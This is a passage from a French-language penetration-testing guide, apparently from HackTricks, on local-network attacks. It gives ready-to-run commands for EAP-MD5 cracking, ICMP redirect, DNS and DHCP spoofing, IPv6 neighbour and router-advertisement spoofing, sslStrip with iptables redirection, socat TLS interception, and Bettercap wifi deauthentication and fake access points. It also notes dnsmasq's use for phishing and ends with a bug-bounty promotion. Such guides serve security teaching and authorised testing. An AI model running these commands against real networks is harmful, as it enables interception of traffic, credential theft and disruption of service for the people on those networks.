  • Injection de trafic réseau malveillant lors de l'authentification à l'aide d'un concentrateur ou similaire

Si l'attaquant est entre la victime et le serveur d'authentification, il pourrait essayer de dégrader (si nécessaire) le protocole d'authentification en EAP-MD5 et capturer la tentative d'authentification. Ensuite, il pourrait effectuer une attaque de force brute avec :

eapmd5pass r pcap.dump w /usr/share/wordlist/sqlmap.txt

Attaques FHRP (GLBP & HSRP)

FHRP (First Hop Redundancy Protocol) est une classe de protocoles réseau conçus pour créer un système de routage redondant à chaud. Avec FHRP, des routeurs physiques peuvent être combinés en un seul dispositif logique, ce qui augmente la tolérance aux pannes et aide à répartir la charge.

Les ingénieurs de Cisco Systems ont développé deux protocoles FHRP, GLBP et HSRP.

{% content-ref url="glbp-and-hsrp-attacks.md" %} glbp-and-hsrp-attacks.md {% endcontent-ref %}

RIP

Trois versions du protocole de routage RIP (Routing Information Protocol) existent - RIP, RIPv2 et RIPng. RIP et RIPv2 utilisent des datagrammes UDP envoyés à des pairs via le port 520, tandis que RIPng diffuse des datagrammes sur le port UDP 521 via une multidiffusion IPv6. RIPv2 a introduit la prise en charge de l'authentification MD5. RIPng n'intègre pas d'authentification native ; elle repose plutôt sur des en-têtes IPsec AH et ESP facultatifs dans IPv6.

Pour plus d'informations sur la façon d'attaquer ce protocole, consultez le livre Network Security Assessment: Know Your Network (3ème édition).

Attaques EIGRP

EIGRP (Enhanced Interior Gateway Routing Protocol) est un protocole de routage dynamique. C'est un protocole de vecteur de distance. Si aucune authentification et configuration des interfaces passives n'est effectuée, un intrus peut interférer avec le routage EIGRP et causer une intoxication des tables de routage. De plus, le réseau EIGRP (en d'autres termes, le système autonome) est plat et n'a pas de segmentation en zones. Si un attaquant injecte une route, il est probable que cette route se propage dans tout le système autonome EIGRP.

Pour attaquer un système EIGRP, il faut établir une relation de voisinage avec un routeur EIGRP légitime, ce qui ouvre de nombreuses possibilités, de la reconnaissance de base à diverses injections.

****FRRouting vous permet de mettre en place un routeur virtuel qui prend en charge BGP, OSPF, EIGRP, RIP et d'autres protocoles. Tout ce que vous avez à faire est de le déployer sur le système de votre attaquant et vous pouvez en fait prétendre être un routeur légitime dans le domaine de routage.

{% content-ref url="eigrp-attacks.md" %} eigrp-attacks.md {% endcontent-ref %}

****Coly prend également en charge la capture des diffusions EIGRP et l'injection de paquets pour manipuler la configuration de routage. Pour plus d'informations sur la façon de l'attaquer avec Coly, consultez le livre Network Security Assessment: Know Your Network (3ème édition).

OSPF

La plupart des implémentations d'Open Shortest Path First (OSPF) utilisent MD5 pour fournir une authentification entre les routeurs. Loki et John the Ripper peuvent capturer et attaquer les hachages MD5 pour révéler la clé, qui peut ensuite être utilisée pour annoncer de nouvelles routes. Les paramètres de routage sont définis en utilisant l'onglet Injection, et la clé est définie sous Connection.

Pour plus d'informations sur la façon d'attaquer ce protocole, consultez le livre Network Security Assessment: Know Your Network (3ème édition).

Autres outils et sources génériques

  • Above : Outil pour scanner le trafic réseau et trouver des vulnérabilités
  • Vous pouvez trouver plus d'informations sur les attaques réseau ici. (TODO: Tout lire et toutes les nouvelles attaques, le cas échéant)

Spoofing

L'attaquant configure tous les paramètres réseau (GW, IP, DNS) du nouveau membre du réseau en envoyant de fausses réponses DHCP.

Ettercap
yersinia dhcp -attack 2 #More parameters are needed

ARP Spoofing

Vérifiez la section précédente.

ICMPRedirect

ICMP Redirect consiste à envoyer un paquet ICMP de type 1 code 5 qui indique que l'attaquant est le meilleur moyen d'atteindre une adresse IP. Ensuite, lorsque la victime veut contacter l'adresse IP, elle envoie le paquet à travers l'attaquant.

Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]

DNS Spoofing

L'attaquant va résoudre certains (ou tous) les domaines que la victime demande.

set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on

Configurer son propre DNS avec dnsmasq

Il est possible de configurer son propre serveur DNS en utilisant dnsmasq. Cela peut être utile pour rediriger le trafic vers des adresses IP spécifiques ou pour effectuer des attaques de phishing. Voici les étapes à suivre pour configurer dnsmasq :

  1. Installer dnsmasq : sudo apt-get install dnsmasq

  2. Éditer le fichier de configuration dnsmasq : sudo nano /etc/dnsmasq.conf

  3. Ajouter les entrées DNS souhaitées en utilisant la syntaxe suivante : address=/domain.com/IP_address

  4. Redémarrer dnsmasq : sudo systemctl restart dnsmasq

Une fois que dnsmasq est configuré, il est possible de configurer le serveur DNS de votre machine pour utiliser le serveur dnsmasq.

apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1   domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS

Passerelles locales

Il existe souvent plusieurs routes vers des systèmes et des réseaux. Après avoir dressé une liste des adresses MAC dans le réseau local, utilisez gateway-finder.py pour identifier les hôtes qui prennent en charge le transfert IPv4.

root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
root@kali:~# arp-scan -l | tee hosts.txt
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/) 
10.0.0.100     00:13:72:09:ad:76       Dell Inc.
10.0.0.200     00:90:27:43:c0:57       INTEL CORPORATION
10.0.0.254     00:08:74:c0:40:ce       Dell Computer Corp.

root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] Using interface eth0 (-I to change)
[+] Found 3 MAC addresses in hosts.txt
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]

Spoofing LLMNR, NBT-NS, and mDNS

Les systèmes Microsoft utilisent Link-Local Multicast Name Resolution (LLMNR) et le service de noms NetBIOS (NBT-NS) pour la résolution locale de l'hôte lorsque les recherches DNS échouent. Les implémentations Linux zero-configuration et Apple Bonjour utilisent Multicast DNS (mDNS) pour découvrir les systèmes au sein d'un réseau. Ces protocoles ne sont pas authentifiés et diffusent des messages sur UDP ; ainsi, les attaquants peuvent les exploiter pour diriger les utilisateurs vers des services malveillants.

Vous pouvez vous faire passer pour des services recherchés par des hôtes en utilisant Responder pour envoyer de fausses réponses.
Lisez ici plus d'informations sur comment se faire passer pour des services avec Responder.

Spoofing WPAD

De nombreux navigateurs utilisent Web Proxy Auto-Discovery (WPAD) pour charger les paramètres de proxy à partir du réseau. Un serveur WPAD fournit les paramètres de proxy client via une URL particulière (par exemple, http://wpad.example.org/wpad.dat) lorsqu'il est identifié par l'un des éléments suivants :

  • DHCP, en utilisant une entrée de code 25234
  • DNS, en recherchant le nom d'hôte wpad dans le domaine local
  • Microsoft LLMNR et NBT-NS (en cas d'échec de la recherche DNS)

Responder automatise l'attaque WPAD - en exécutant un proxy et en dirigeant les clients vers un serveur WPAD malveillant via DHCP, DNS, LLMNR et NBT-NS.
Lisez ici plus d'informations sur comment se faire passer pour des services avec Responder.

Spoofing SSDP and UPnP devices

Vous pouvez offrir différents services dans le réseau pour essayer de tromper un utilisateur pour qu'il entre des informations d'identification en texte clair. Plus d'informations sur cette attaque dans Spoofing SSDP and UPnP Devices.

Spoofing de voisin IPv6

Cette attaque est très similaire à l'attaque ARP Spoofing mais dans le monde IPv6. Vous pouvez faire croire à la victime que l'IPv6 de la passerelle a l'adresse MAC de l'attaquant.

sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds

Spoofing/Flooding de l'annonceur de routeur IPv6

Certains systèmes d'exploitation configurent par défaut la passerelle à partir des paquets RA envoyés dans le réseau. Pour déclarer l'attaquant comme routeur IPv6, vous pouvez utiliser:

sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16

Spoofing DHCP IPv6

Par défaut, certains systèmes d'exploitation tentent de configurer le DNS en lisant un paquet DHCPv6 dans le réseau. Ensuite, un attaquant pourrait envoyer un paquet DHCPv6 pour se configurer en tant que DNS. Le DHCP fournit également une adresse IPv6 à la victime.

dhcp6.spoof on
dhcp6.spoof.domains <list of domains>

mitm6

HTTP (fausse page et injection de code JS)

Attaques Internet

sslStrip

Essentiellement, cette attaque consiste à maintenir une connexion HTTP avec le client et une connexion HTTPS avec le serveur, de sorte que si l'utilisateur essaie d'accéder à une page HTTP qui redirige vers la version HTTPS, sslStrip pourra intercepter la connexion en texte clair.

apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush
#iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT

Plus d'informations ici.

sslStrip+ et dns2proxy pour contourner HSTS

La différence entre sslStrip+ et dns2proxy par rapport à sslStrip est qu'ils vont rediriger par exemple www.facebook.com vers wwww.facebook.com (notez le w supplémentaire) et vont définir l'adresse de ce domaine comme l'adresse IP de l'attaquant. De cette façon, le client se connectera à wwww.facebook.com (l'attaquant) mais en arrière-plan, sslstrip+ maintiendra la vraie connexion via https avec www.facebook.com.

Le but de cette technique est de contourner HSTS car wwww.facebook.com ne sera pas enregistré dans le cache du navigateur, de sorte que le navigateur sera trompé pour effectuer l'authentification Facebook en HTTP.
Notez que pour effectuer cette attaque, la victime doit essayer d'accéder initialement à http://www.faceook.com et non à https. Cela peut être fait en modifiant les liens à l'intérieur d'une page http.

Plus d'informations ici, ici et ici.

sslStrip ou sslStrip+ ne fonctionne plus. Cela est dû aux règles HSTS préenregistrées dans les navigateurs, donc même si c'est la première fois qu'un utilisateur accède à un domaine "important", il y accédera via HTTPS. De plus, notez que les règles préenregistrées et les autres règles générées peuvent utiliser le drapeau includeSubdomains donc l'exemple wwww.facebook.com précédent ne fonctionnera plus car facebook.com utilise HSTS avec includeSubdomains.

TODO: easy-creds, evilgrade, metasploit, factory

Écoute TCP sur le port

sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -

Écoute TCP + SSL sur le port

Générer des clés et un certificat auto-signé

FILENAME=server
# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem

Écouter en utilisant un certificat

sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -

Écouter en utilisant un certificat et rediriger vers les hôtes

sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0  openssl-connect:[SERVER]:[PORT],verify=0

Parfois, si le client vérifie que le CA est valide, vous pouvez servir un certificat d'un autre nom d'hôte signé par un CA.
Un autre test intéressant consiste à servir un certificat du nom d'hôte demandé mais auto-signé.

D'autres choses à tester consistent à essayer de signer le certificat avec un certificat valide qui n'est pas un CA valide. Ou utiliser la clé publique valide, forcer à utiliser un algorithme comme diffie hellman (qui n'a pas besoin de décrypter quoi que ce soit avec la vraie clé privée) et lorsque le client demande une sonde de la vraie clé privée (comme un hash), envoyer une fausse sonde et s'attendre à ce que le client ne vérifie pas cela.

Bettercap

# Events
events.stream off #Stop showing events
events.show #Show all events
events.show 5 #Show latests 5 events 
events.clear

# Ticker (loop of commands)
set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on

# Caplets
caplets.show
caplets.update

# Wifi
wifi.recon on
wifi.deauth BSSID
wifi.show
# Fake wifi
set wifi.ap.ssid Banana
set wifi.ap.bssid DE:AD:BE:EF:DE:AD
set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap

Notes de découverte active

Il faut prendre en compte que lorsqu'un paquet UDP est envoyé à un appareil qui n'a pas le port demandé, un ICMP (Port Unreachable) est envoyé.

Découverte ARP

Les paquets ARP sont utilisés pour découvrir quelles adresses IP sont utilisées à l'intérieur du réseau. Le PC doit envoyer une demande pour chaque adresse IP possible et seules celles qui sont utilisées répondront.

mDNS (multicast DNS)

Bettercap envoie une demande MDNS (toutes les X ms) demandant _services_.dns-sd._udp.local. La machine qui voit ce paquet répond généralement à cette demande. Ensuite, il ne recherche que les machines répondant aux "services".

Outils

  • Avahi-browser (--all)
  • Bettercap (net.probe.mdns)
  • Responder

NBNS (NetBios Name Server)

Bettercap diffuse des paquets sur le port 137/UDP demandant le nom "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA".

SSDP (Simple Service Discovery Protocol)

Bettercap diffuse des paquets SSDP recherchant tous types de services (port UDP 1900).

WSD (Web Service Discovery)

Bettercap diffuse des paquets WSD recherchant des services (port UDP 3702).

Références


Astuce de prime de bug: inscrivez-vous à Intigriti, une plateforme de prime de bug premium créée par des hackers, pour les hackers ! Rejoignez-nous sur https://go.intigriti.com/hacktricks dès aujourd'hui et commencez à gagner des primes allant jusqu'à 100 000 $ !

{% embed url="https://go.intigriti.com/hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥